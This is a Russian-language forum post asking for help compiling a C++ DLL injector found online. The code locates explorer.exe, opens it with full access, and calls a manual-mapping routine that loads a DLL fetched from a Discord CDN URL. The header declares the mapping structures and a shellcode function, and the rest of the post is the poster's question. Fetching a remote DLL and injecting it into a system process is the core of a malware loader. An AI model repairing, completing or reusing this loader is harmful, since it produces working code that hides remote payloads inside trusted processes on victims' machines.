Как исрпавить
это?
Инджектор длл с интернета, не могу скомпилировать и решить проблему
main.cpp
#include "injection.h"
const char szProc[] = "explorer.exe"; // название процесса
const char DllURL[] = "https://cdn.discordapp.com/attachments/0000000000000000000/0000000000000000000/test.dll"; // ссылка на длл
int main() {
PROCESSENTRY32 PE32{ 0 };
PE32.dwSize = sizeof(PE32);
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap == INVALID_HANDLE_VALUE) {
printf("[-] CreateToolhelp32Snapshot error: 0x%X\n", GetLastError());
system("PAUSE");
return 0;
}
DWORD PID = 0;
BOOL bRet = Process32First(hSnap, &PE32);
while (bRet) {
if (!strcmp(szProc, PE32.szExeFile)) {
PID = PE32.th32ProcessID;
break;
}
bRet = Process32Next(hSnap, &PE32);
}
CloseHandle(hSnap);
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
if (!hProc) {
printf("[-] OpenProcess error: 0x%X\n", GetLastError());
system("PAUSE");
return 0;
}
if (!ManualMap(hProc, DllURL)) {
printf("[-] Injection error\n");
CloseHandle(hProc);
system("PAUSE");
return 0;
}
CloseHandle(hProc);
printf("[+] Injected!\n");
system("PAUSE");
return 0;
}
Injection.h
#pragma once
#include <Windows.h>
#include <iostream>
#include <fstream>
#include <TlHelp32.h>
#include </Curl/curl.h>
using f_LoadLibraryA = HINSTANCE(WINAPI*)(const char* lpLibFilename);
using f_GetProcAddress = FARPROC(WINAPI*)(HMODULE hModule, LPCSTR lpProcName);
using f_DLL_ENTRY_POINT = BOOL(WINAPI*)(void* hDll, DWORD dwReason, void* pReserved);
using f_RtlAddFunctionTable = BOOL(WINAPIV*)(PRUNTIME_FUNCTION FunctionTable, DWORD EntryCount, DWORD64 BaseAddress);
struct MANUAL_MAPPING_DATA {
f_LoadLibraryA pLoadLibraryA;
f_GetProcAddress pGetProcAddress;
f_RtlAddFunctionTable pRtlAddFunctionTable;
BYTE* pbase;
HINSTANCE hMod;
DWORD fdwReasonParam;
LPVOID reservedParam;
BOOL SEHSupport;
};
bool ManualMap(HANDLE hProc, const char* DllURL);
void __stdcall Shellcode(MANUAL_MAPPING_DATA* pData);